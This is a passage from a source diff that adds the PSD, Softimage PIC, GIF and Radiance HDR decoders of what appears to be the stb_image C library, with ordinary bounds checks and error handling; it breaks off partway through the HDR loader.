+   //   8: Duotone
+   //   9: Lab color
+   if (stbi__get16be(s) != 3)
+      return stbi__errpuc("wrong color format", "PSD is not in RGB color format");
+
+   // Skip the Mode Data.  (It's the palette for indexed color; other info for other modes.)
+   stbi__skip(s,stbi__get32be(s) );
+
+   // Skip the image resources.  (resolution, pen tool paths, etc)
+   stbi__skip(s, stbi__get32be(s) );
+
+   // Skip the reserved data.
+   stbi__skip(s, stbi__get32be(s) );
+
+   // Find out if the data is compressed.
+   // Known values:
+   //   0: no compression
+   //   1: RLE compressed
+   compression = stbi__get16be(s);
+   if (compression > 1)
+      return stbi__errpuc("bad compression", "PSD has an unknown compression format");
+
+   // Check size
+   if (!stbi__mad3sizes_valid(4, w, h, 0))
+      return stbi__errpuc("too large", "Corrupt PSD");
+
+   // Create the destination image.
+
+   if (!compression && bitdepth == 16 && bpc == 16) {
+      out = (stbi_uc *) stbi__malloc_mad3(8, w, h, 0);
+      ri->bits_per_channel = 16;
+   } else
+      out = (stbi_uc *) stbi__malloc(4 * w*h);
+
+   if (!out) return stbi__errpuc("outofmem", "Out of memory");
+   pixelCount = w*h;
+
+   // Initialize the data to zero.
+   //memset( out, 0, pixelCount * 4 );
+
+   // Finally, the image data.
+   if (compression) {
+      // RLE as used by .PSD and .TIFF
+      // Loop until you get the number of unpacked bytes you are expecting:
+      //     Read the next source byte into n.
+      //     If n is between 0 and 127 inclusive, copy the next n+1 bytes literally.
+      //     Else if n is between -127 and -1 inclusive, copy the next byte -n+1 times.
+      //     Else if n is 128, noop.
+      // Endloop
+
+      // The RLE-compressed data is preceded by a 2-byte data count for each row in the data,
+      // which we're going to just skip.
+      stbi__skip(s, h * channelCount * 2 );
+
+      // Read the RLE data by channel.
+      for (channel = 0; channel < 4; channel++) {
+         stbi_uc *p;
+
+         p = out+channel;
+         if (channel >= channelCount) {
+            // Fill this channel with default data.
+            for (i = 0; i < pixelCount; i++, p += 4)
+               *p = (channel == 3 ? 255 : 0);
+         } else {
+            // Read the RLE data.
+            if (!stbi__psd_decode_rle(s, p, pixelCount)) {
+               STBI_FREE(out);
+               return stbi__errpuc("corrupt", "bad RLE data");
+            }
+         }
+      }
+
+   } else {
+      // We're at the raw image data.  It's each channel in order (Red, Green, Blue, Alpha, ...)
+      // where each channel consists of an 8-bit (or 16-bit) value for each pixel in the image.
+
+      // Read the data by channel.
+      for (channel = 0; channel < 4; channel++) {
+         if (channel >= channelCount) {
+            // Fill this channel with default data.
+            if (bitdepth == 16 && bpc == 16) {
+               stbi__uint16 *q = ((stbi__uint16 *) out) + channel;
+               stbi__uint16 val = channel == 3 ? 65535 : 0;
+               for (i = 0; i < pixelCount; i++, q += 4)
+                  *q = val;
+            } else {
+               stbi_uc *p = out+channel;
+               stbi_uc val = channel == 3 ? 255 : 0;
+               for (i = 0; i < pixelCount; i++, p += 4)
+                  *p = val;
+            }
+         } else {
+            if (ri->bits_per_channel == 16) {    // output bpc
+               stbi__uint16 *q = ((stbi__uint16 *) out) + channel;
+               for (i = 0; i < pixelCount; i++, q += 4)
+                  *q = (stbi__uint16) stbi__get16be(s);
+            } else {
+               stbi_uc *p = out+channel;
+               if (bitdepth == 16) {  // input bpc
+                  for (i = 0; i < pixelCount; i++, p += 4)
+                     *p = (stbi_uc) (stbi__get16be(s) >> 8);
+               } else {
+                  for (i = 0; i < pixelCount; i++, p += 4)
+                     *p = stbi__get8(s);
+               }
+            }
+         }
+      }
+   }
+
+   // remove weird white matte from PSD
+   if (channelCount >= 4) {
+      if (ri->bits_per_channel == 16) {
+         for (i=0; i < w*h; ++i) {
+            stbi__uint16 *pixel = (stbi__uint16 *) out + 4*i;
+            if (pixel[3] != 0 && pixel[3] != 65535) {
+               float a = pixel[3] / 65535.0f;
+               float ra = 1.0f / a;
+               float inv_a = 65535.0f * (1 - ra);
+               pixel[0] = (stbi__uint16) (pixel[0]*ra + inv_a);
+               pixel[1] = (stbi__uint16) (pixel[1]*ra + inv_a);
+               pixel[2] = (stbi__uint16) (pixel[2]*ra + inv_a);
+            }
+         }
+      } else {
+         for (i=0; i < w*h; ++i) {
+            unsigned char *pixel = out + 4*i;
+            if (pixel[3] != 0 && pixel[3] != 255) {
+               float a = pixel[3] / 255.0f;
+               float ra = 1.0f / a;
+               float inv_a = 255.0f * (1 - ra);
+               pixel[0] = (unsigned char) (pixel[0]*ra + inv_a);
+               pixel[1] = (unsigned char) (pixel[1]*ra + inv_a);
+               pixel[2] = (unsigned char) (pixel[2]*ra + inv_a);
+            }
+         }
+      }
+   }
+
+   // convert to desired output format
+   if (req_comp && req_comp != 4) {
+      if (ri->bits_per_channel == 16)
+         out = (stbi_uc *) stbi__convert_format16((stbi__uint16 *) out, 4, req_comp, w, h);
+      else
+         out = stbi__convert_format(out, 4, req_comp, w, h);
+      if (out == NULL) return out; // stbi__convert_format frees input on failure
+   }
+
+   if (comp) *comp = 4;
+   *y = h;
+   *x = w;
+
+   return out;
+}
+#endif
+
+// *************************************************************************************************
+// Softimage PIC loader
+// by Tom Seddon
+//
+// See http://softimage.wiki.softimage.com/index.php/INFO:_PIC_file_format
+// See http://ozviz.wasp.uwa.edu.au/~pbourke/dataformats/softimagepic/
+
+#ifndef STBI_NO_PIC
+static int stbi__pic_is4(stbi__context *s,const char *str)
+{
+   int i;
+   for (i=0; i<4; ++i)
+      if (stbi__get8(s) != (stbi_uc)str[i])
+         return 0;
+
+   return 1;
+}
+
+static int stbi__pic_test_core(stbi__context *s)
+{
+   int i;
+
+   if (!stbi__pic_is4(s,"\x53\x80\xF6\x34"))
+      return 0;
+
+   for(i=0;i<84;++i)
+      stbi__get8(s);
+
+   if (!stbi__pic_is4(s,"PICT"))
+      return 0;
+
+   return 1;
+}
+
+typedef struct
+{
+   stbi_uc size,type,channel;
+} stbi__pic_packet;
+
+static stbi_uc *stbi__readval(stbi__context *s, int channel, stbi_uc *dest)
+{
+   int mask=0x80, i;
+
+   for (i=0; i<4; ++i, mask>>=1) {
+      if (channel & mask) {
+         if (stbi__at_eof(s)) return stbi__errpuc("bad file","PIC file too short");
+         dest[i]=stbi__get8(s);
+      }
+   }
+
+   return dest;
+}
+
+static void stbi__copyval(int channel,stbi_uc *dest,const stbi_uc *src)
+{
+   int mask=0x80,i;
+
+   for (i=0;i<4; ++i, mask>>=1)
+      if (channel&mask)
+         dest[i]=src[i];
+}
+
+static stbi_uc *stbi__pic_load_core(stbi__context *s,int width,int height,int *comp, stbi_uc *result)
+{
+   int act_comp=0,num_packets=0,y,chained;
+   stbi__pic_packet packets[10];
+
+   // this will (should...) cater for even some bizarre stuff like having data
+    // for the same channel in multiple packets.
+   do {
+      stbi__pic_packet *packet;
+
+      if (num_packets==sizeof(packets)/sizeof(packets[0]))
+         return stbi__errpuc("bad format","too many packets");
+
+      packet = &packets[num_packets++];
+
+      chained = stbi__get8(s);
+      packet->size    = stbi__get8(s);
+      packet->type    = stbi__get8(s);
+      packet->channel = stbi__get8(s);
+
+      act_comp |= packet->channel;
+
+      if (stbi__at_eof(s))          return stbi__errpuc("bad file","file too short (reading packets)");
+      if (packet->size != 8)  return stbi__errpuc("bad format","packet isn't 8bpp");
+   } while (chained);
+
+   *comp = (act_comp & 0x10 ? 4 : 3); // has alpha channel?
+
+   for(y=0; y<height; ++y) {
+      int packet_idx;
+
+      for(packet_idx=0; packet_idx < num_packets; ++packet_idx) {
+         stbi__pic_packet *packet = &packets[packet_idx];
+         stbi_uc *dest = result+y*width*4;
+
+         switch (packet->type) {
+            default:
+               return stbi__errpuc("bad format","packet has bad compression type");
+
+            case 0: {//uncompressed
+               int x;
+
+               for(x=0;x<width;++x, dest+=4)
+                  if (!stbi__readval(s,packet->channel,dest))
+                     return 0;
+               break;
+            }
+
+            case 1://Pure RLE
+               {
+                  int left=width, i;
+
+                  while (left>0) {
+                     stbi_uc count,value[4];
+
+                     count=stbi__get8(s);
+                     if (stbi__at_eof(s))   return stbi__errpuc("bad file","file too short (pure read count)");
+
+                     if (count > left)
+                        count = (stbi_uc) left;
+
+                     if (!stbi__readval(s,packet->channel,value))  return 0;
+
+                     for(i=0; i<count; ++i,dest+=4)
+                        stbi__copyval(packet->channel,dest,value);
+                     left -= count;
+                  }
+               }
+               break;
+
+            case 2: {//Mixed RLE
+               int left=width;
+               while (left>0) {
+                  int count = stbi__get8(s), i;
+                  if (stbi__at_eof(s))  return stbi__errpuc("bad file","file too short (mixed read count)");
+
+                  if (count >= 128) { // Repeated
+                     stbi_uc value[4];
+
+                     if (count==128)
+                        count = stbi__get16be(s);
+                     else
+                        count -= 127;
+                     if (count > left)
+                        return stbi__errpuc("bad file","scanline overrun");
+
+                     if (!stbi__readval(s,packet->channel,value))
+                        return 0;
+
+                     for(i=0;i<count;++i, dest += 4)
+                        stbi__copyval(packet->channel,dest,value);
+                  } else { // Raw
+                     ++count;
+                     if (count>left) return stbi__errpuc("bad file","scanline overrun");
+
+                     for(i=0;i<count;++i, dest+=4)
+                        if (!stbi__readval(s,packet->channel,dest))
+                           return 0;
+                  }
+                  left-=count;
+               }
+               break;
+            }
+         }
+      }
+   }
+
+   return result;
+}
+
+static void *stbi__pic_load(stbi__context *s,int *px,int *py,int *comp,int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *result;
+   int i, x,y, internal_comp;
+   STBI_NOTUSED(ri);
+
+   if (!comp) comp = &internal_comp;
+
+   for (i=0; i<92; ++i)
+      stbi__get8(s);
+
+   x = stbi__get16be(s);
+   y = stbi__get16be(s);
+
+   if (y > STBI_MAX_DIMENSIONS) return stbi__errpuc("too large","Very large image (corrupt?)");
+   if (x > STBI_MAX_DIMENSIONS) return stbi__errpuc("too large","Very large image (corrupt?)");
+
+   if (stbi__at_eof(s))  return stbi__errpuc("bad file","file too short (pic header)");
+   if (!stbi__mad3sizes_valid(x, y, 4, 0)) return stbi__errpuc("too large", "PIC image too large to decode");
+
+   stbi__get32be(s); //skip `ratio'
+   stbi__get16be(s); //skip `fields'
+   stbi__get16be(s); //skip `pad'
+
+   // intermediate buffer is RGBA
+   result = (stbi_uc *) stbi__malloc_mad3(x, y, 4, 0);
+   if (!result) return stbi__errpuc("outofmem", "Out of memory");
+   memset(result, 0xff, x*y*4);
+
+   if (!stbi__pic_load_core(s,x,y,comp, result)) {
+      STBI_FREE(result);
+      result=0;
+   }
+   *px = x;
+   *py = y;
+   if (req_comp == 0) req_comp = *comp;
+   result=stbi__convert_format(result,4,req_comp,x,y);
+
+   return result;
+}
+
+static int stbi__pic_test(stbi__context *s)
+{
+   int r = stbi__pic_test_core(s);
+   stbi__rewind(s);
+   return r;
+}
+#endif
+
+// *************************************************************************************************
+// GIF loader -- public domain by Jean-Marc Lienher -- simplified/shrunk by stb
+
+#ifndef STBI_NO_GIF
+typedef struct
+{
+   stbi__int16 prefix;
+   stbi_uc first;
+   stbi_uc suffix;
+} stbi__gif_lzw;
+
+typedef struct
+{
+   int w,h;
+   stbi_uc *out;                 // output buffer (always 4 components)
+   stbi_uc *background;          // The current "background" as far as a gif is concerned
+   stbi_uc *history;
+   int flags, bgindex, ratio, transparent, eflags;
+   stbi_uc  pal[256][4];
+   stbi_uc lpal[256][4];
+   stbi__gif_lzw codes[8192];
+   stbi_uc *color_table;
+   int parse, step;
+   int lflags;
+   int start_x, start_y;
+   int max_x, max_y;
+   int cur_x, cur_y;
+   int line_size;
+   int delay;
+} stbi__gif;
+
+static int stbi__gif_test_raw(stbi__context *s)
+{
+   int sz;
+   if (stbi__get8(s) != 'G' || stbi__get8(s) != 'I' || stbi__get8(s) != 'F' || stbi__get8(s) != '8') return 0;
+   sz = stbi__get8(s);
+   if (sz != '9' && sz != '7') return 0;
+   if (stbi__get8(s) != 'a') return 0;
+   return 1;
+}
+
+static int stbi__gif_test(stbi__context *s)
+{
+   int r = stbi__gif_test_raw(s);
+   stbi__rewind(s);
+   return r;
+}
+
+static void stbi__gif_parse_colortable(stbi__context *s, stbi_uc pal[256][4], int num_entries, int transp)
+{
+   int i;
+   for (i=0; i < num_entries; ++i) {
+      pal[i][2] = stbi__get8(s);
+      pal[i][1] = stbi__get8(s);
+      pal[i][0] = stbi__get8(s);
+      pal[i][3] = transp == i ? 0 : 255;
+   }
+}
+
+static int stbi__gif_header(stbi__context *s, stbi__gif *g, int *comp, int is_info)
+{
+   stbi_uc version;
+   if (stbi__get8(s) != 'G' || stbi__get8(s) != 'I' || stbi__get8(s) != 'F' || stbi__get8(s) != '8')
+      return stbi__err("not GIF", "Corrupt GIF");
+
+   version = stbi__get8(s);
+   if (version != '7' && version != '9')    return stbi__err("not GIF", "Corrupt GIF");
+   if (stbi__get8(s) != 'a')                return stbi__err("not GIF", "Corrupt GIF");
+
+   stbi__g_failure_reason = "";
+   g->w = stbi__get16le(s);
+   g->h = stbi__get16le(s);
+   g->flags = stbi__get8(s);
+   g->bgindex = stbi__get8(s);
+   g->ratio = stbi__get8(s);
+   g->transparent = -1;
+
+   if (g->w > STBI_MAX_DIMENSIONS) return stbi__err("too large","Very large image (corrupt?)");
+   if (g->h > STBI_MAX_DIMENSIONS) return stbi__err("too large","Very large image (corrupt?)");
+
+   if (comp != 0) *comp = 4;  // can't actually tell whether it's 3 or 4 until we parse the comments
+
+   if (is_info) return 1;
+
+   if (g->flags & 0x80)
+      stbi__gif_parse_colortable(s,g->pal, 2 << (g->flags & 7), -1);
+
+   return 1;
+}
+
+static int stbi__gif_info_raw(stbi__context *s, int *x, int *y, int *comp)
+{
+   stbi__gif* g = (stbi__gif*) stbi__malloc(sizeof(stbi__gif));
+   if (!g) return stbi__err("outofmem", "Out of memory");
+   if (!stbi__gif_header(s, g, comp, 1)) {
+      STBI_FREE(g);
+      stbi__rewind( s );
+      return 0;
+   }
+   if (x) *x = g->w;
+   if (y) *y = g->h;
+   STBI_FREE(g);
+   return 1;
+}
+
+static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)
+{
+   stbi_uc *p, *c;
+   int idx;
+
+   // recurse to decode the prefixes, since the linked-list is backwards,
+   // and working backwards through an interleaved image would be nasty
+   if (g->codes[code].prefix >= 0)
+      stbi__out_gif_code(g, g->codes[code].prefix);
+
+   if (g->cur_y >= g->max_y) return;
+
+   idx = g->cur_x + g->cur_y;
+   p = &g->out[idx];
+   g->history[idx / 4] = 1;
+
+   c = &g->color_table[g->codes[code].suffix * 4];
+   if (c[3] > 128) { // don't render transparent pixels;
+      p[0] = c[2];
+      p[1] = c[1];
+      p[2] = c[0];
+      p[3] = c[3];
+   }
+   g->cur_x += 4;
+
+   if (g->cur_x >= g->max_x) {
+      g->cur_x = g->start_x;
+      g->cur_y += g->step;
+
+      while (g->cur_y >= g->max_y && g->parse > 0) {
+         g->step = (1 << g->parse) * g->line_size;
+         g->cur_y = g->start_y + (g->step >> 1);
+         --g->parse;
+      }
+   }
+}
+
+static stbi_uc *stbi__process_gif_raster(stbi__context *s, stbi__gif *g)
+{
+   stbi_uc lzw_cs;
+   stbi__int32 len, init_code;
+   stbi__uint32 first;
+   stbi__int32 codesize, codemask, avail, oldcode, bits, valid_bits, clear;
+   stbi__gif_lzw *p;
+
+   lzw_cs = stbi__get8(s);
+   if (lzw_cs > 12) return NULL;
+   clear = 1 << lzw_cs;
+   first = 1;
+   codesize = lzw_cs + 1;
+   codemask = (1 << codesize) - 1;
+   bits = 0;
+   valid_bits = 0;
+   for (init_code = 0; init_code < clear; init_code++) {
+      g->codes[init_code].prefix = -1;
+      g->codes[init_code].first = (stbi_uc) init_code;
+      g->codes[init_code].suffix = (stbi_uc) init_code;
+   }
+
+   // support no starting clear code
+   avail = clear+2;
+   oldcode = -1;
+
+   len = 0;
+   for(;;) {
+      if (valid_bits < codesize) {
+         if (len == 0) {
+            len = stbi__get8(s); // start new block
+            if (len == 0)
+               return g->out;
+         }
+         --len;
+         bits |= (stbi__int32) stbi__get8(s) << valid_bits;
+         valid_bits += 8;
+      } else {
+         stbi__int32 code = bits & codemask;
+         bits >>= codesize;
+         valid_bits -= codesize;
+         // @OPTIMIZE: is there some way we can accelerate the non-clear path?
+         if (code == clear) {  // clear code
+            codesize = lzw_cs + 1;
+            codemask = (1 << codesize) - 1;
+            avail = clear + 2;
+            oldcode = -1;
+            first = 0;
+         } else if (code == clear + 1) { // end of stream code
+            stbi__skip(s, len);
+            while ((len = stbi__get8(s)) > 0)
+               stbi__skip(s,len);
+            return g->out;
+         } else if (code <= avail) {
+            if (first) {
+               return stbi__errpuc("no clear code", "Corrupt GIF");
+            }
+
+            if (oldcode >= 0) {
+               p = &g->codes[avail++];
+               if (avail > 8192) {
+                  return stbi__errpuc("too many codes", "Corrupt GIF");
+               }
+
+               p->prefix = (stbi__int16) oldcode;
+               p->first = g->codes[oldcode].first;
+               p->suffix = (code == avail) ? p->first : g->codes[code].first;
+            } else if (code == avail)
+               return stbi__errpuc("illegal code in raster", "Corrupt GIF");
+
+            stbi__out_gif_code(g, (stbi__uint16) code);
+
+            if ((avail & codemask) == 0 && avail <= 0x0FFF) {
+               codesize++;
+               codemask = (1 << codesize) - 1;
+            }
+
+            oldcode = code;
+         } else {
+            return stbi__errpuc("illegal code in raster", "Corrupt GIF");
+         }
+      }
+   }
+}
+
+// this function is designed to support animated gifs, although stb_image doesn't support it
+// two back is the image from two frames ago, used for a very specific disposal format
+static stbi_uc *stbi__gif_load_next(stbi__context *s, stbi__gif *g, int *comp, int req_comp, stbi_uc *two_back)
+{
+   int dispose;
+   int first_frame;
+   int pi;
+   int pcount;
+   STBI_NOTUSED(req_comp);
+
+   // on first frame, any non-written pixels get the background colour (non-transparent)
+   first_frame = 0;
+   if (g->out == 0) {
+      if (!stbi__gif_header(s, g, comp,0)) return 0; // stbi__g_failure_reason set by stbi__gif_header
+      if (!stbi__mad3sizes_valid(4, g->w, g->h, 0))
+         return stbi__errpuc("too large", "GIF image is too large");
+      pcount = g->w * g->h;
+      g->out = (stbi_uc *) stbi__malloc(4 * pcount);
+      g->background = (stbi_uc *) stbi__malloc(4 * pcount);
+      g->history = (stbi_uc *) stbi__malloc(pcount);
+      if (!g->out || !g->background || !g->history)
+         return stbi__errpuc("outofmem", "Out of memory");
+
+      // image is treated as "transparent" at the start - ie, nothing overwrites the current background;
+      // background colour is only used for pixels that are not rendered first frame, after that "background"
+      // color refers to the color that was there the previous frame.
+      memset(g->out, 0x00, 4 * pcount);
+      memset(g->background, 0x00, 4 * pcount); // state of the background (starts transparent)
+      memset(g->history, 0x00, pcount);        // pixels that were affected previous frame
+      first_frame = 1;
+   } else {
+      // second frame - how do we dispose of the previous one?
+      dispose = (g->eflags & 0x1C) >> 2;
+      pcount = g->w * g->h;
+
+      if ((dispose == 3) && (two_back == 0)) {
+         dispose = 2; // if I don't have an image to revert back to, default to the old background
+      }
+
+      if (dispose == 3) { // use previous graphic
+         for (pi = 0; pi < pcount; ++pi) {
+            if (g->history[pi]) {
+               memcpy( &g->out[pi * 4], &two_back[pi * 4], 4 );
+            }
+         }
+      } else if (dispose == 2) {
+         // restore what was changed last frame to background before that frame;
+         for (pi = 0; pi < pcount; ++pi) {
+            if (g->history[pi]) {
+               memcpy( &g->out[pi * 4], &g->background[pi * 4], 4 );
+            }
+         }
+      } else {
+         // This is a non-disposal case eithe way, so just
+         // leave the pixels as is, and they will become the new background
+         // 1: do not dispose
+         // 0:  not specified.
+      }
+
+      // background is what out is after the undoing of the previou frame;
+      memcpy( g->background, g->out, 4 * g->w * g->h );
+   }
+
+   // clear my history;
+   memset( g->history, 0x00, g->w * g->h );        // pixels that were affected previous frame
+
+   for (;;) {
+      int tag = stbi__get8(s);
+      switch (tag) {
+         case 0x2C: /* Image Descriptor */
+         {
+            stbi__int32 x, y, w, h;
+            stbi_uc *o;
+
+            x = stbi__get16le(s);
+            y = stbi__get16le(s);
+            w = stbi__get16le(s);
+            h = stbi__get16le(s);
+            if (((x + w) > (g->w)) || ((y + h) > (g->h)))
+               return stbi__errpuc("bad Image Descriptor", "Corrupt GIF");
+
+            g->line_size = g->w * 4;
+            g->start_x = x * 4;
+            g->start_y = y * g->line_size;
+            g->max_x   = g->start_x + w * 4;
+            g->max_y   = g->start_y + h * g->line_size;
+            g->cur_x   = g->start_x;
+            g->cur_y   = g->start_y;
+
+            // if the width of the specified rectangle is 0, that means
+            // we may not see *any* pixels or the image is malformed;
+            // to make sure this is caught, move the current y down to
+            // max_y (which is what out_gif_code checks).
+            if (w == 0)
+               g->cur_y = g->max_y;
+
+            g->lflags = stbi__get8(s);
+
+            if (g->lflags & 0x40) {
+               g->step = 8 * g->line_size; // first interlaced spacing
+               g->parse = 3;
+            } else {
+               g->step = g->line_size;
+               g->parse = 0;
+            }
+
+            if (g->lflags & 0x80) {
+               stbi__gif_parse_colortable(s,g->lpal, 2 << (g->lflags & 7), g->eflags & 0x01 ? g->transparent : -1);
+               g->color_table = (stbi_uc *) g->lpal;
+            } else if (g->flags & 0x80) {
+               g->color_table = (stbi_uc *) g->pal;
+            } else
+               return stbi__errpuc("missing color table", "Corrupt GIF");
+
+            o = stbi__process_gif_raster(s, g);
+            if (!o) return NULL;
+
+            // if this was the first frame,
+            pcount = g->w * g->h;
+            if (first_frame && (g->bgindex > 0)) {
+               // if first frame, any pixel not drawn to gets the background color
+               for (pi = 0; pi < pcount; ++pi) {
+                  if (g->history[pi] == 0) {
+                     g->pal[g->bgindex][3] = 255; // just in case it was made transparent, undo that; It will be reset next frame if need be;
+                     memcpy( &g->out[pi * 4], &g->pal[g->bgindex], 4 );
+                  }
+               }
+            }
+
+            return o;
+         }
+
+         case 0x21: // Comment Extension.
+         {
+            int len;
+            int ext = stbi__get8(s);
+            if (ext == 0xF9) { // Graphic Control Extension.
+               len = stbi__get8(s);
+               if (len == 4) {
+                  g->eflags = stbi__get8(s);
+                  g->delay = 10 * stbi__get16le(s); // delay - 1/100th of a second, saving as 1/1000ths.
+
+                  // unset old transparent
+                  if (g->transparent >= 0) {
+                     g->pal[g->transparent][3] = 255;
+                  }
+                  if (g->eflags & 0x01) {
+                     g->transparent = stbi__get8(s);
+                     if (g->transparent >= 0) {
+                        g->pal[g->transparent][3] = 0;
+                     }
+                  } else {
+                     // don't need transparent
+                     stbi__skip(s, 1);
+                     g->transparent = -1;
+                  }
+               } else {
+                  stbi__skip(s, len);
+                  break;
+               }
+            }
+            while ((len = stbi__get8(s)) != 0) {
+               stbi__skip(s, len);
+            }
+            break;
+         }
+
+         case 0x3B: // gif stream termination code
+            return (stbi_uc *) s; // using '1' causes warning on some compilers
+
+         default:
+            return stbi__errpuc("unknown code", "Corrupt GIF");
+      }
+   }
+}
+
+static void *stbi__load_gif_main_outofmem(stbi__gif *g, stbi_uc *out, int **delays)
+{
+   STBI_FREE(g->out);
+   STBI_FREE(g->history);
+   STBI_FREE(g->background);
+
+   if (out) STBI_FREE(out);
+   if (delays && *delays) STBI_FREE(*delays);
+   return stbi__errpuc("outofmem", "Out of memory");
+}
+
+static void *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
+{
+   if (stbi__gif_test(s)) {
+      int layers = 0;
+      stbi_uc *u = 0;
+      stbi_uc *out = 0;
+      stbi_uc *two_back = 0;
+      stbi__gif g;
+      int stride;
+      int out_size = 0;
+      int delays_size = 0;
+
+      STBI_NOTUSED(out_size);
+      STBI_NOTUSED(delays_size);
+
+      memset(&g, 0, sizeof(g));
+      if (delays) {
+         *delays = 0;
+      }
+
+      do {
+         u = stbi__gif_load_next(s, &g, comp, req_comp, two_back);
+         if (u == (stbi_uc *) s) u = 0;  // end of animated gif marker
+
+         if (u) {
+            *x = g.w;
+            *y = g.h;
+            ++layers;
+            stride = g.w * g.h * 4;
+
+            if (out) {
+               void *tmp = (stbi_uc*) STBI_REALLOC_SIZED( out, out_size, layers * stride );
+               if (!tmp)
+                  return stbi__load_gif_main_outofmem(&g, out, delays);
+               else {
+                   out = (stbi_uc*) tmp;
+                   out_size = layers * stride;
+               }
+
+               if (delays) {
+                  int *new_delays = (int*) STBI_REALLOC_SIZED( *delays, delays_size, sizeof(int) * layers );
+                  if (!new_delays)
+                     return stbi__load_gif_main_outofmem(&g, out, delays);
+                  *delays = new_delays;
+                  delays_size = layers * sizeof(int);
+               }
+            } else {
+               out = (stbi_uc*)stbi__malloc( layers * stride );
+               if (!out)
+                  return stbi__load_gif_main_outofmem(&g, out, delays);
+               out_size = layers * stride;
+               if (delays) {
+                  *delays = (int*) stbi__malloc( layers * sizeof(int) );
+                  if (!*delays)
+                     return stbi__load_gif_main_outofmem(&g, out, delays);
+                  delays_size = layers * sizeof(int);
+               }
+            }
+            memcpy( out + ((layers - 1) * stride), u, stride );
+            if (layers >= 2) {
+               two_back = out - 2 * stride;
+            }
+
+            if (delays) {
+               (*delays)[layers - 1U] = g.delay;
+            }
+         }
+      } while (u != 0);
+
+      // free temp buffer;
+      STBI_FREE(g.out);
+      STBI_FREE(g.history);
+      STBI_FREE(g.background);
+
+      // do the final conversion after loading everything;
+      if (req_comp && req_comp != 4)
+         out = stbi__convert_format(out, 4, req_comp, layers * g.w, g.h);
+
+      *z = layers;
+      return out;
+   } else {
+      return stbi__errpuc("not GIF", "Image was not as a gif type.");
+   }
+}
+
+static void *stbi__gif_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *u = 0;
+   stbi__gif g;
+   memset(&g, 0, sizeof(g));
+   STBI_NOTUSED(ri);
+
+   u = stbi__gif_load_next(s, &g, comp, req_comp, 0);
+   if (u == (stbi_uc *) s) u = 0;  // end of animated gif marker
+   if (u) {
+      *x = g.w;
+      *y = g.h;
+
+      // moved conversion to after successful load so that the same
+      // can be done for multiple frames.
+      if (req_comp && req_comp != 4)
+         u = stbi__convert_format(u, 4, req_comp, g.w, g.h);
+   } else if (g.out) {
+      // if there was an error and we allocated an image buffer, free it!
+      STBI_FREE(g.out);
+   }
+
+   // free buffers needed for multiple frame loading;
+   STBI_FREE(g.history);
+   STBI_FREE(g.background);
+
+   return u;
+}
+
+static int stbi__gif_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   return stbi__gif_info_raw(s,x,y,comp);
+}
+#endif
+
+// *************************************************************************************************
+// Radiance RGBE HDR loader
+// originally by Nicolas Schulz
+#ifndef STBI_NO_HDR
+static int stbi__hdr_test_core(stbi__context *s, const char *signature)
+{
+   int i;
+   for (i=0; signature[i]; ++i)
+      if (stbi__get8(s) != signature[i])
+          return 0;
+   stbi__rewind(s);
+   return 1;
+}
+
+static int stbi__hdr_test(stbi__context* s)
+{
+   int r = stbi__hdr_test_core(s, "#?RADIANCE\n");
+   stbi__rewind(s);
+   if(!r) {
+       r = stbi__hdr_test_core(s, "#?RGBE\n");
+       stbi__rewind(s);
+   }
+   return r;
+}
+
+#define STBI__HDR_BUFLEN  1024
+static char *stbi__hdr_gettoken(stbi__context *z, char *buffer)
+{
+   int len=0;
+   char c = '\0';
+
+   c = (char) stbi__get8(z);
+
+   while (!stbi__at_eof(z) && c != '\n') {
+      buffer[len++] = c;
+      if (len == STBI__HDR_BUFLEN-1) {
+         // flush to end of line
+         while (!stbi__at_eof(z) && stbi__get8(z) != '\n')
+            ;
+         break;
+      }
+      c = (char) stbi__get8(z);
+   }
+
+   buffer[len] = 0;
+   return buffer;
+}
+
+static void stbi__hdr_convert(float *output, stbi_uc *input, int req_comp)
+{
+   if ( input[3] != 0 ) {
+      float f1;
+      // Exponent
+      f1 = (float) ldexp(1.0f, input[3] - (int)(128 + 8));
+      if (req_comp <= 2)
+         output[0] = (input[0] + input[1] + input[2]) * f1 / 3;
+      else {
+         output[0] = input[0] * f1;
+         output[1] = input[1] * f1;
+         output[2] = input[2] * f1;
+      }
+      if (req_comp == 2) output[1] = 1;
+      if (req_comp == 4) output[3] = 1;
+   } else {
+      switch (req_comp) {
+         case 4: output[3] = 1; /* fallthrough */
+         case 3: output[0] = output[1] = output[2] = 0;
+                 break;
+         case 2: output[1] = 1; /* fallthrough */
+         case 1: output[0] = 0;
+                 break;
+      }
+   }
+}
+
+static float *stbi__hdr_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   char buffer[STBI__HDR_BUFLEN];
+   char *token;
+   int valid = 0;
+   int width, height;
+   stbi_uc *scanline;
+   float *hdr_data;
+   int len;
+   unsigned char count, value;
+   int i, j, k, c1,c2, z;
+   const char *headerToken;
+   STBI_NOTUSED(ri);
+
+   // Check identifier
+   headerToken = stbi__hdr_gettoken(s,buffer);
+   if (strcmp(headerToken, "#?RADIANCE") != 0 && strcmp(headerToken, "#?RGBE") != 0)
+      return stbi__errpf("not HDR", "Corrupt HDR image");
+
+   // Parse header
+   for(;;) {
+      token = stbi__hdr_gettoken(s,buffer);
+      if (token[0] == 0) break;
+      if (strcmp(token, "FORMAT=32-bit_rle_rgbe") == 0) valid = 1;
+   }
+
+   if (!valid)    return stbi__errpf("unsupported format", "Unsupported HDR format");
+
+   // Parse width and height
+   // can't use sscanf() if we're not using stdio!
+   token = stbi__hdr_gettoken(s,buffer);
+   if (strncmp(token, "-Y ", 3))  return stbi__errpf("unsupported data layout", "Unsupported HDR format");
+   token += 3;
+   height = (int) strtol(token, &token, 10);
+   while (*token == ' ') ++token;
+   if (strncmp(token, "+X ", 3))  return stbi__errpf("unsupported data layout", "Unsupported HDR format");
+   token += 3;
+   width = (int) strtol(token, NULL, 10);
+
+   if (height > STBI_MAX_DIMENSIONS) return stbi__errpf("too large","Very large image (corrupt?)");
+   if (width > STBI_MAX_DIMENSIONS) return stbi__errpf("too large","Very large image (corrupt?)");
+
+   *x = width;
+   *y = height;
+
+   if (comp) *comp = 3;
+   if (req_comp == 0) req_comp = 3;
+
+   if (!stbi__mad4sizes_valid(width, height, req_comp, sizeof(float), 0))
